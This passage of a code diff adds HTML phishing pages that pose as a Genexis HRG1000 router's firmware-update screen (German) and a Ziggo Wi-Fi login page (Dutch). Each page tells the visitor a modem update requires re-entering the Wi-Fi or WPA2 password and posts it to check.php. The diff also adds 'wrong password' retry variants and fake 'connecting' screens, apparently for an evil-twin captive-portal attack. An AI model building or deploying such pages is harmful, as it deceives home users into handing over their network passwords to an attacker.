background-color:#44c8f5;
|
||||
cursor:pointer;
|
||||
}
|
||||
#sub_nav {
|
||||
width: 100%;
|
||||
height:30px;
|
||||
background-color:#002659;
|
||||
}
|
||||
#sub_nav ul {
|
||||
display: block;
|
||||
padding:0px;
|
||||
}
|
||||
#sub_nav ul li {
|
||||
margin-right:0px !important;
|
||||
}
|
||||
#sub_nav ul li a {
|
||||
font-size:10px !important;
|
||||
}
|
||||
#content {
|
||||
width:100%;
|
||||
min-height: 200px;
|
||||
}
|
||||
#content_box {
|
||||
margin-top: 20px;
|
||||
margin-left: 30px;
|
||||
width:90%;
|
||||
}
|
||||
#content_box h1 {
|
||||
margin:auto;
|
||||
text-align:center;
|
||||
}
|
||||
#form_box {
|
||||
margin-top:20px;
|
||||
min-width:20%;
|
||||
}
|
||||
#form_box table {
|
||||
font-size:12px;
|
||||
}
|
||||
.wrong_pass {
|
||||
color:#E10003;
|
||||
font-size:14px;
|
||||
font-weight:bold;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#top_nav p {
|
||||
display:none;
|
||||
}
|
||||
#top_nav ul {
|
||||
bottom:0px;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width: 480px) {
|
||||
#top_nav_load {
|
||||
display:none;
|
||||
}
|
||||
#sub_nav ul li {
|
||||
font-size:8px;
|
||||
margin-right:2px;
|
||||
}
|
||||
#content_box {
|
||||
width:80%;
|
||||
}
|
||||
#form_box {
|
||||
text-align:center;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="header">
|
||||
<div id="top_nav">
|
||||
<div id="top_nav_load"><strong>Host:</strong> 000300000573-0006a20f1f32d57c <strong>Betriebszeit:</strong> 11 days, 3:24 <strong>Laden:</strong> 0.14, 0.05, 0.01</div>
|
||||
<div style="position:relative; display: table;">
|
||||
<p style="float:left;">HRG1000</p>
|
||||
<ul>
|
||||
<li><a href="#">Information</a></li>
|
||||
<li class="selected"><a href="#">Status</a></li>
|
||||
<li class="seperator">-</li>
|
||||
<li><a href="#">System</a></li>
|
||||
<li><a href="#">Netzwerk</a></li>
|
||||
<li><a href="#">Kindersicherung</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div id="sub_nav">
|
||||
<ul>
|
||||
<li><a href="#">Interfaces</a></li>
|
||||
<li><a href="#">DHCP Client</a></li>
|
||||
<li class="selected"><a href="#">WLAN Prüfung</a></li>
|
||||
<li><a href="#">CATV</a></li>
|
||||
<li><a href="#">VoIP</a></li>
|
||||
<li><a href="#">Diagnose-Programm</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_box">
|
||||
<h1>Firmware Update</h1>
|
||||
<div id="form_box">
|
||||
<h2>Um zu verbinden bitte WPA2-Kennwort eingeben</h2>
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<table cellspacing="5px" cols="2">
|
||||
<tr>
|
||||
<td colspan="2"><span class="wrong_pass">Passwort falsch! - Bitte wiederholen</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>WLAN-Passwort:</td>
|
||||
<td><input type="password" name="key1"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td><input type="submit" value="Verbindung herstellen"></td>
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="footer">
|
||||
<img src="genexis-logo-small.jpg" alt="Genexis. Always connected" />
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
|
|
@ -0,0 +1,218 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Genexis DRGOS</title>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<style>
|
||||
body{
|
||||
padding:0px;
|
||||
margin:0px;
|
||||
font:11px/1.545 verdana,arial,sans-serif;
|
||||
color:#000000;
|
||||
}
|
||||
#footer {
|
||||
position:absolute;
|
||||
bottom:0px;
|
||||
width:100%;
|
||||
height: 55px;
|
||||
text-align:left;
|
||||
vertical-align:middle;
|
||||
border-top: thin solid #000000;
|
||||
}
|
||||
#footer img {
|
||||
margin-top:15px;
|
||||
margin-left: 20px;
|
||||
}
|
||||
#top_nav {
|
||||
width: 100%;
|
||||
border-bottom:#000000 solid thin;
|
||||
height:55px;
|
||||
background-color:#002659;
|
||||
color:#FFFFFF;
|
||||
}
|
||||
#top_nav p {
|
||||
font-weight:bold;
|
||||
font-size:20px;
|
||||
margin:0px;
|
||||
margin-left:30px;
|
||||
display:table-row;
|
||||
}
|
||||
#top_nav_load {
|
||||
position: relative;
|
||||
float:right;
|
||||
font-size:9.5px;
|
||||
margin-top:8px;
|
||||
margin-right: 6px;
|
||||
}
|
||||
#top_nav ul, #sub_nav ul {
|
||||
list-style:none;
|
||||
margin:0px;
|
||||
display:table-row;
|
||||
vertical-align:bottom;
|
||||
}
|
||||
#top_nav ul li, #sub_nav ul li {
|
||||
display: inline;
|
||||
font-size:12px;
|
||||
margin-right:10px;
|
||||
margin-top:28px;
|
||||
padding:5px;
|
||||
padding-left:10px;
|
||||
padding-right:10px;
|
||||
}
|
||||
.selected a {
|
||||
color:#1bbdf5 !important;
|
||||
}
|
||||
.selected:hover {
|
||||
background-color:transparent !important;
|
||||
}
|
||||
.seperator {
|
||||
cursor:default !important;
|
||||
background-color:transparent !important;
|
||||
}
|
||||
#top_nav ul li a, #sub_nav ul li a {
|
||||
color:#FFFFFF;
|
||||
text-decoration:none;
|
||||
font-size:12px;
|
||||
}
|
||||
#top_nav ul li:hover, #sub_nav ul li:hover {
|
||||
background-color:#44c8f5;
|
||||
cursor:pointer;
|
||||
}
|
||||
#sub_nav {
|
||||
width: 100%;
|
||||
height:30px;
|
||||
background-color:#002659;
|
||||
}
|
||||
#sub_nav ul {
|
||||
display: block;
|
||||
padding:0px;
|
||||
}
|
||||
#sub_nav ul li {
|
||||
margin-right:0px !important;
|
||||
}
|
||||
#sub_nav ul li a {
|
||||
font-size:10px !important;
|
||||
}
|
||||
#content {
|
||||
width:100%;
|
||||
min-height: 200px;
|
||||
}
|
||||
#content_box {
|
||||
margin-top: 20px;
|
||||
margin-left: 30px;
|
||||
width:90%;
|
||||
}
|
||||
#content_box h1 {
|
||||
margin:auto;
|
||||
text-align:center;
|
||||
}
|
||||
#form_box {
|
||||
margin-top:20px;
|
||||
min-width:20%;
|
||||
}
|
||||
#form_box table {
|
||||
font-size:12px;
|
||||
}
|
||||
#spinner {
|
||||
background-image:url(spinner.gif);
|
||||
background-repeat:no-repeat;
|
||||
background-size:cover;
|
||||
height:60px;
|
||||
width:60px;
|
||||
position:absolute;
|
||||
top:45%;
|
||||
left:45%;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#top_nav p {
|
||||
display:none;
|
||||
}
|
||||
#top_nav ul {
|
||||
bottom:0px;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width: 480px) {
|
||||
#top_nav_load {
|
||||
display:none;
|
||||
}
|
||||
#top_nav ul {
|
||||
display:inline;
|
||||
margin-left:0px;
|
||||
padding-left:0px;
|
||||
}
|
||||
#sub_nav ul li {
|
||||
font-size:8px;
|
||||
margin-right:2px;
|
||||
|
||||
}
|
||||
#content_box {
|
||||
width:80%;
|
||||
}
|
||||
#form_box {
|
||||
text-align:center;
|
||||
|
||||
}
|
||||
#form_box table {
|
||||
margin:auto;
|
||||
}
|
||||
#spinner {
|
||||
left:40%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="header">
|
||||
<div id="top_nav">
|
||||
<div id="top_nav_load"><strong>Host:</strong> 000300000573-0006a20f1f32d57c <strong>Betriebszeit:</strong> 11 days, 3:24 <strong>Laden:</strong> 0.14, 0.05, 0.01</div>
|
||||
<div style="position:relative; display: table;">
|
||||
<p style="float:left;">HRG1000</p>
|
||||
<ul>
|
||||
<li><a href="#">Information</a></li>
|
||||
<li class="selected"><a href="#">Status</a></li>
|
||||
<li class="seperator">-</li>
|
||||
<li><a href="#">System</a></li>
|
||||
<li><a href="#">Netzwerk</a></li>
|
||||
<li><a href="#">Kindersicherung</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div id="sub_nav">
|
||||
<ul>
|
||||
<li><a href="#">Interfaces</a></li>
|
||||
<li><a href="#">DHCP Client</a></li>
|
||||
<li class="selected"><a href="#">WLAN Prüfung</a></li>
|
||||
<li><a href="#">CATV</a></li>
|
||||
<li><a href="#">VoIP</a></li>
|
||||
<li><a href="#">Diagnose-Programm</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_box">
|
||||
<h1>Firmware Update</h1>
|
||||
<div id="form_box">
|
||||
<h2>Bitte einen Moment Geduld</h2>
|
||||
<table cellspacing="5px" cols="2">
|
||||
<tr>
|
||||
<td colspan="2">Die WLAN Verbindung wird hergestellt...</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="2">Dies kann einige Minuten in Anspruch nehmen.</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="spinner"></div>
|
||||
|
||||
<div id="footer">
|
||||
<img src="genexis-logo-small.jpg" alt="Genexis. Always connected" />
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
|
|
@ -0,0 +1,197 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Genexis DRGOS</title>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<style>
|
||||
body{
|
||||
padding:0px;
|
||||
margin:0px;
|
||||
font:11px/1.545 verdana,arial,sans-serif;
|
||||
color:#000000;
|
||||
}
|
||||
#footer {
|
||||
position:absolute;
|
||||
bottom:0px;
|
||||
width:100%;
|
||||
height: 55px;
|
||||
text-align:left;
|
||||
vertical-align:middle;
|
||||
border-top: thin solid #000000;
|
||||
}
|
||||
#footer img {
|
||||
margin-top:15px;
|
||||
margin-left: 20px;
|
||||
}
|
||||
#top_nav {
|
||||
width: 100%;
|
||||
border-bottom:#000000 solid thin;
|
||||
height:55px;
|
||||
background-color:#002659;
|
||||
color:#FFFFFF;
|
||||
}
|
||||
#top_nav p {
|
||||
font-weight:bold;
|
||||
font-size:20px;
|
||||
margin:0px;
|
||||
margin-left:30px;
|
||||
display:table-row;
|
||||
}
|
||||
#top_nav_load {
|
||||
position: relative;
|
||||
float:right;
|
||||
font-size:9.5px;
|
||||
margin-top:8px;
|
||||
margin-right: 6px;
|
||||
}
|
||||
#top_nav ul, #sub_nav ul {
|
||||
list-style:none;
|
||||
margin:0px;
|
||||
display:table-row;
|
||||
vertical-align:bottom;
|
||||
}
|
||||
#top_nav ul li, #sub_nav ul li {
|
||||
display: inline;
|
||||
font-size:12px;
|
||||
margin-right:10px;
|
||||
margin-top:28px;
|
||||
padding:5px;
|
||||
padding-left:10px;
|
||||
padding-right:10px;
|
||||
}
|
||||
.selected a {
|
||||
color:#1bbdf5 !important;
|
||||
}
|
||||
.selected:hover {
|
||||
background-color:transparent !important;
|
||||
}
|
||||
.seperator {
|
||||
cursor:default !important;
|
||||
background-color:transparent !important;
|
||||
}
|
||||
#top_nav ul li a, #sub_nav ul li a {
|
||||
color:#FFFFFF;
|
||||
text-decoration:none;
|
||||
font-size:12px;
|
||||
}
|
||||
#top_nav ul li:hover, #sub_nav ul li:hover {
|
||||
background-color:#44c8f5;
|
||||
cursor:pointer;
|
||||
}
|
||||
#sub_nav {
|
||||
width: 100%;
|
||||
height:30px;
|
||||
background-color:#002659;
|
||||
}
|
||||
#sub_nav ul {
|
||||
display: block;
|
||||
padding:0px;
|
||||
}
|
||||
#sub_nav ul li {
|
||||
margin-right:0px !important;
|
||||
}
|
||||
#sub_nav ul li a {
|
||||
font-size:10px !important;
|
||||
}
|
||||
#content {
|
||||
width:100%;
|
||||
min-height: 200px;
|
||||
}
|
||||
#content_box {
|
||||
margin-top: 20px;
|
||||
margin-left: 30px;
|
||||
width:90%;
|
||||
}
|
||||
#content_box h1 {
|
||||
margin:auto;
|
||||
text-align:center;
|
||||
}
|
||||
#form_box {
|
||||
margin-top:20px;
|
||||
min-width:20%;
|
||||
}
|
||||
#form_box table {
|
||||
font-size:12px;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#top_nav p {
|
||||
display:none;
|
||||
}
|
||||
#top_nav ul {
|
||||
bottom:0px;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width: 480px) {
|
||||
#top_nav_load {
|
||||
display:none;
|
||||
}
|
||||
#sub_nav ul li {
|
||||
font-size:8px;
|
||||
margin-right:2px;
|
||||
}
|
||||
#content_box {
|
||||
width:80%;
|
||||
}
|
||||
#form_box {
|
||||
text-align:center;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="header">
|
||||
<div id="top_nav">
|
||||
<div id="top_nav_load"><strong>Host:</strong> 000300000573-0006a20f1f32d57c <strong>Betriebszeit:</strong> 11 days, 3:24 <strong>Laden:</strong> 0.14, 0.05, 0.01</div>
|
||||
<div style="position:relative; display: table;">
|
||||
<p style="float:left;">HRG1000</p>
|
||||
<ul>
|
||||
<li><a href="#">Information</a></li>
|
||||
<li class="selected"><a href="#">Status</a></li>
|
||||
<li class="seperator">-</li>
|
||||
<li><a href="#">System</a></li>
|
||||
<li><a href="#">Netzwerk</a></li>
|
||||
<li><a href="#">Kindersicherung</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div id="sub_nav">
|
||||
<ul>
|
||||
<li><a href="#">Interfaces</a></li>
|
||||
<li><a href="#">DHCP Client</a></li>
|
||||
<li class="selected"><a href="#">WLAN Prüfung</a></li>
|
||||
<li><a href="#">CATV</a></li>
|
||||
<li><a href="#">VoIP</a></li>
|
||||
<li><a href="#">Diagnose-Programm</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_box">
|
||||
<h1>Firmware Update</h1>
|
||||
<div id="form_box">
|
||||
<h2>Um zu verbinden bitte WPA2-Kennwort eingeben</h2>
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<table cellspacing="5px" cols="2">
|
||||
<tr>
|
||||
<td>WLAN-Passwort:</td>
|
||||
<td><input type="password" name="key1"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td><input type="submit" value="Verbindung herstellen"></td>
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="footer">
|
||||
<img src="genexis-logo-small.jpg" alt="Genexis. Always connected" />
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 47 KiB |
|
|
@ -0,0 +1,29 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Generator: Adobe Illustrator 18.1.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Ziggo_x5F_Orange_x5F_RGB" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
|
||||
x="0px" y="0px" viewBox="0 0 212 75.8" enable-background="new 0 0 212 75.8" xml:space="preserve">
|
||||
<path fill="#F48C00" d="M69.3,62.3c0.8,0.8,1.2,1.9,1.2,3c0,1.3-0.6,2.3-1.2,3c-1.3,1.3-3,2.6-5.2,3.5C62.2,72.5,60.1,73,58,73H38.5
|
||||
H19c-4.4,0-8.4-1.8-11.3-4.7C4.8,65.4,3.1,61.4,3.1,57V37.5V18c0-4.4,1.8-8.4,4.7-11.3c2.9-2.9,6.9-4.7,11.3-4.7h19.5H58
|
||||
c2.2,0,4.2,0.4,6.1,1.2c2.6,1.1,4.2,2.4,5.8,4.1c0.6,0.7,1.2,1.7,1.2,3c0,1.1-0.4,2.2-1.2,3c-0.8,0.8-1.9,1.2-3,1.2
|
||||
c-1.1,0-2.2-0.4-3-1.2c-1.1-1.1-1.7-1.7-3-2.2C60,10.8,59,10.5,58,10.5H38.5H19c-2.1,0-3.9,0.8-5.3,2.2c-1.4,1.4-2.2,3.2-2.2,5.3
|
||||
v19.5V57c0,2.1,0.8,3.9,2.2,5.3c1.4,1.4,3.2,2.2,5.3,2.2h19.5H58c1,0,2-0.2,2.9-0.6c0.8-0.3,1.7-0.9,2.4-1.6c0.8-0.8,1.9-1.2,3-1.2
|
||||
C67.4,61.1,68.5,61.5,69.3,62.3z M57.9,57.3c-0.2-3.1-2.2-7.8-7.5-8.4H31.8l21.4-20.5c0.9-0.9,2.9-3.8,1.5-6.9
|
||||
c-1.2-2.5-3.1-3.6-6.5-3.6H21.5c0.1,3.5,1.9,7.8,6.6,8.5h15.2L20.8,47.5c-0.9,0.9-2.4,3.6-1.2,6.3c1.1,2.5,2.9,3.5,6.2,3.5H57.9z
|
||||
M118.9,38v15.7c0,5.8-1.8,10.9-5.8,14.9c-3.6,3.6-8.2,5.1-13.2,5.1c-9.9,0-14.9-7.6-14.9-7.6c2.7-2.7,6.3-4.3,10-2.1
|
||||
c0.6,0.4,2.4,1.4,5,1.4c9.1,0,10.6-8.2,10.6-10.6c-3.2,1.9-6.7,2.9-10.7,2.9h0c-5.2,0-9.7-1.6-13.4-4.9l0,0c-3.7-3.5-5.6-7.9-5.6-13
|
||||
c0-1,0-4.4,0-5.2c0-5,1.9-9.3,5.6-12.9c3.8-3.6,8.3-5.4,13.5-5.4h0h0c6.9,0,12,3.4,14.3,6.3c0.6,0.7,0.9,1.7,0.9,2.7
|
||||
c0,1.2-0.5,2.2-1.2,3c-0.8,0.8-1.8,1.2-3,1.2c-1.2,0-2.3-0.5-3-1.2c-2.6-2.7-5.1-3.6-8.1-3.6c-2.9,0-5.4,1-7.5,3
|
||||
c-2.1,2-3.1,4.2-3.1,7c0,1.2,0,3.9,0,5.1c0,2.9,1,5.2,3.1,7.1c2.2,2,4.6,2.9,7.5,2.9c2.9,0,5.3-1,7.5-3c1.1-1.1,1.9-2.3,2.4-3.6
|
||||
c0.4-1.1,1.2-3.3,4.1-4.4C116.2,37.9,118.9,38,118.9,38z M158.8,38.8c-2.8,1.1-3.7,3.3-4.1,4.4c-0.5,1.3-1.3,2.5-2.4,3.6
|
||||
c-2.2,2-4.6,3-7.5,3c-2.9,0-5.3-1-7.5-2.9c-2.1-2-3-4.2-3.1-7.1c0-1.2,0-3.8,0-5.1c0-2.8,1-5.1,3.1-7c2.1-2,4.5-3,7.5-3
|
||||
c2.9,0,5.4,0.9,8.1,3.6c0.7,0.7,1.8,1.2,3,1.2c1.2,0,2.2-0.5,3-1.2c0.8-0.8,1.2-1.8,1.2-3c0-1-0.3-1.9-0.9-2.7
|
||||
c-2.3-2.8-7.4-6.3-14.3-6.3h0h0c-5.2,0-9.7,1.8-13.5,5.4c-3.7,3.6-5.6,7.9-5.6,12.9c0,0.8,0,4.1,0,5.2c0,5.1,1.9,9.4,5.6,13l0,0
|
||||
c3.8,3.2,8.3,4.8,13.4,4.9h0c4,0,7.5-1,10.7-2.9c0,2.4-1.5,10.6-10.6,10.6c-2.6,0-4.4-1-5-1.4c-3.6-2.2-7.3-0.6-10,2.1
|
||||
c0,0,5.1,7.6,14.9,7.6c5,0,9.6-1.5,13.2-5.1c4-4,5.8-9.1,5.8-14.9V38C163.9,38,161.2,37.9,158.8,38.8z M208.9,34.6
|
||||
c0-5-1.9-9.4-5.6-12.9c-3.8-3.6-8.3-5.4-13.5-5.4h0h0c-5.2,0-9.7,1.8-13.5,5.4c-3.7,3.6-5.6,7.9-5.6,12.9c0,0.8,0,4.1,0,5.2
|
||||
c0,5.1,1.9,9.4,5.6,13l0,0c3.8,3.2,8.3,4.8,13.4,4.9h0c5.2,0,9.7-1.6,13.4-4.8l0,0c3.7-3.5,5.6-7.9,5.6-13
|
||||
C208.9,38.7,208.9,35.4,208.9,34.6 M189.8,49.8c-2.9,0-5.3-1-7.5-2.9c-2.1-2-3-4.2-3.1-7.1c0-1.2,0-3.8,0-5.1c0-2.8,1-5.1,3.1-7
|
||||
c2.1-2,4.5-3,7.5-3c2.9,0,5.4,1,7.5,3c2.1,1.9,3,4.2,3.1,7c0,1.2,0.1,3.8,0,5.1c0,2.9-1,5.1-3.1,7.1
|
||||
C195.1,48.8,192.6,49.8,189.8,49.8 M73.9,17.8c-4.4,0-8.4,3.7-8.4,7.7v31.8c4.4,0,8.4-3.7,8.4-7.7V17.8z"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 3.1 KiB |
|
|
@ -0,0 +1,207 @@
|
|||
<!DOCTYPE html>
|
||||
<html dir="ltr" lang="en-US">
|
||||
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||
<title>Ziggo Wi-Fi Login</title>
|
||||
|
||||
<style>
|
||||
html,body {
|
||||
height: 100%;
|
||||
font-family: sans-serif;
|
||||
margin: 0px;
|
||||
}
|
||||
div {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.logo {
|
||||
position: absolute;
|
||||
top: 30px;
|
||||
left:0px;
|
||||
width:104px;
|
||||
height:50px;
|
||||
text-align:center;
|
||||
background: url("Ziggo-logo.svg") no-repeat #fff;
|
||||
background-size: 84px 30px;
|
||||
background-position: center;
|
||||
z-index:10;
|
||||
}
|
||||
|
||||
#background {
|
||||
height: 100%;
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
background: url("generic-mobemBG.jpg") center center no-repeat fixed;
|
||||
background-size:cover;
|
||||
}
|
||||
|
||||
#overlay {
|
||||
height: 100%;
|
||||
position: absolute;
|
||||
left:0px;
|
||||
top:0px;
|
||||
background: rgba(0,0,0,0.6);
|
||||
background-size:100% auto;
|
||||
width:100%;
|
||||
padding-top:30px;
|
||||
}
|
||||
|
||||
#white {
|
||||
max-width: 840px;
|
||||
position: relative;
|
||||
text-align: center;
|
||||
width: 840px;
|
||||
background: url("white-transparent90.png");
|
||||
font-size: 16px;
|
||||
margin: 0px auto;
|
||||
padding: 45px 30px 90px 30px;
|
||||
}
|
||||
|
||||
#title {
|
||||
color: #f48c00;
|
||||
height: 55px;
|
||||
text-align: center;
|
||||
font-size: 46px;
|
||||
padding-top: 20px;
|
||||
}
|
||||
|
||||
#text {
|
||||
color: rgb(51, 51, 51);
|
||||
text-align: center;
|
||||
font-size: 16px;
|
||||
padding: 20px 15px;
|
||||
}
|
||||
|
||||
#input {
|
||||
height: 47px;
|
||||
text-align: center;
|
||||
font-size: 18px;
|
||||
padding: 0px 0px 20px;
|
||||
}
|
||||
|
||||
#table {
|
||||
height: 47px;
|
||||
text-align: center;
|
||||
font-size: 18px;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
#row {
|
||||
height: 47px;
|
||||
text-align: center;
|
||||
vertical-align: middle;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
#data1 {
|
||||
color: rgb(51, 51, 51);
|
||||
height: 32px;
|
||||
text-align: -webkit-right;
|
||||
vertical-align: middle;
|
||||
font-size: 18px;
|
||||
padding: 0px 5px 0px 15px;
|
||||
}
|
||||
|
||||
#data2 {
|
||||
height: 32px;
|
||||
vertical-align: middle;
|
||||
font-size: 18px;
|
||||
padding: 0px 5px 0px;
|
||||
}
|
||||
|
||||
#inputdata {
|
||||
box-sizing: content-box;
|
||||
color: rgb(102, 102, 102);
|
||||
height: 22px;
|
||||
width: 80%;
|
||||
float: left;
|
||||
border: 2px solid red;
|
||||
border-radius: 3px 3px 3px 3px;
|
||||
font-size: 18px;
|
||||
padding: 3px 10px;
|
||||
}
|
||||
|
||||
#inputdata:focus {
|
||||
border-color: #f48c00;
|
||||
}
|
||||
|
||||
#button {
|
||||
margin-top: 15px;
|
||||
}
|
||||
|
||||
#next {
|
||||
color: #fff;
|
||||
cursor: pointer;
|
||||
text-align: center;
|
||||
white-space: pre;
|
||||
align-items: flex-start;
|
||||
background: #f48c00 repeat;
|
||||
border: 1px solid #d27800;
|
||||
border-radius: 5px;
|
||||
font-size: 24px;
|
||||
padding: 15px 30px;
|
||||
}
|
||||
|
||||
#next:hover {
|
||||
background: #ffa021;
|
||||
}
|
||||
|
||||
#error {
|
||||
margin-top: -5px;
|
||||
font-size: 12px;
|
||||
color: red;
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 479px) {
|
||||
.logo {
|
||||
background-color: transparent;
|
||||
}
|
||||
#white {
|
||||
width: 100%;
|
||||
padding: 30px 0px 80px 0px;
|
||||
}
|
||||
#text {
|
||||
font-size: 14px;
|
||||
padding: 15px 20px 20px 20px;
|
||||
}
|
||||
#next {
|
||||
font-size: 20px;
|
||||
}
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<div class="logo"></div>
|
||||
|
||||
<div id="background">
|
||||
<div id="overlay">
|
||||
<div id="white">
|
||||
<div id="title">
|
||||
Welkom
|
||||
</div>
|
||||
<div id="text">
|
||||
Uw Wi-Fi modem heeft recentelijk een update gehad. Hierdoor is het vanuit veiligheidsoverwegingen noodzakelijk dat u uw wachtwoord opnieuw invult. Uw wachtwoord is te vinden aan de onderkant van uw Wi-Fi modem.
|
||||
</div>
|
||||
<div id="input">
|
||||
<form method="post" action="check.php" name="Login">
|
||||
<table id="table">
|
||||
<tr id="row">
|
||||
<td id="data1">
|
||||
Wachtwoord
|
||||
</td>
|
||||
<td id="data2">
|
||||
<input type="text" id="inputdata" name="loginPassword" />
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<div id="error">
|
||||
<span>Uw wachtwoord is onjuist. Probeer het opnieuw.</span>
|
||||
</div>
|
||||
<div id="button">
|
||||
<input type="submit" id="next" value="Doorgaan" />
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,105 @@
|
|||
<!DOCTYPE html>
|
||||
<html dir="ltr" lang="en-US">
|
||||
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||
<title>Ziggo Wi-Fi Login</title>
|
||||
|
||||
<style>
|
||||
html,body {
|
||||
height: 100%;
|
||||
font-family: sans-serif;
|
||||
margin: 0px;
|
||||
}
|
||||
div {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.logo {
|
||||
position: absolute;
|
||||
top: 30px;
|
||||
left:0px;
|
||||
width:104px;
|
||||
height:50px;
|
||||
text-align:center;
|
||||
background: url("Ziggo-logo.svg") no-repeat #fff;
|
||||
background-size: 84px 30px;
|
||||
background-position: center;
|
||||
z-index:10;
|
||||
}
|
||||
|
||||
#background {
|
||||
height: 100%;
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
background: url("generic-mobemBG.jpg") center center no-repeat fixed;
|
||||
background-size:cover;
|
||||
}
|
||||
|
||||
#overlay {
|
||||
height: 100%;
|
||||
position: absolute;
|
||||
left:0px;
|
||||
top:0px;
|
||||
background: rgba(0,0,0,0.6);
|
||||
background-size:100% auto;
|
||||
width:100%;
|
||||
padding-top:30px;
|
||||
}
|
||||
|
||||
#white {
|
||||
max-width: 840px;
|
||||
position: relative;
|
||||
text-align: center;
|
||||
width: 840px;
|
||||
background: url("white-transparent90.png");
|
||||
font-size: 16px;
|
||||
margin: 0px auto;
|
||||
padding: 45px 30px 80px 30px;
|
||||
}
|
||||
|
||||
#title {
|
||||
color: #f48c00;
|
||||
height: 55px;
|
||||
text-align: center;
|
||||
font-size: 46px;
|
||||
padding-top: 20px;
|
||||
}
|
||||
|
||||
#text {
|
||||
color: rgb(51, 51, 51);
|
||||
text-align: center;
|
||||
font-size: 16px;
|
||||
padding: 20px 15px;
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 479px) {
|
||||
.logo {
|
||||
background-color: transparent;
|
||||
}
|
||||
#white {
|
||||
width: 100%;
|
||||
padding: 30px 0px 60px 0px;
|
||||
}
|
||||
#text {
|
||||
font-size: 14px;
|
||||
padding: 15px 20px 20px 20px;
|
||||
}
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<div class="logo"></div>
|
||||
|
||||
<div id="background">
|
||||
<div id="overlay">
|
||||
<div id="white">
|
||||
<div id="title">
|
||||
Welkom
|
||||
</div>
|
||||
<div id="text">
|
||||
Een ogenblik geduld a.u.b...<br>
|
||||
Uw Wi-Fi modem is binnen enkele seconden weer beschikbaar.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 58 KiB |
|
|
@ -0,0 +1,194 @@
|
|||
<!DOCTYPE html>
|
||||
<html dir="ltr" lang="en-US">
|
||||
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||
<title>Ziggo Wi-Fi Login</title>
|
||||
|
||||
<style>
|
||||
html,body {
|
||||
height: 100%;
|
||||
font-family: sans-serif;
|
||||
margin: 0px;
|
||||
}
|
||||
div {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.logo {
|
||||
position: absolute;
|
||||
top: 30px;
|
||||
left:0px;
|
||||
width:104px;
|
||||
height:50px;
|
||||
text-align:center;
|
||||
background: url("Ziggo-logo.svg") no-repeat #fff;
|
||||
background-size: 84px 30px;
|
||||
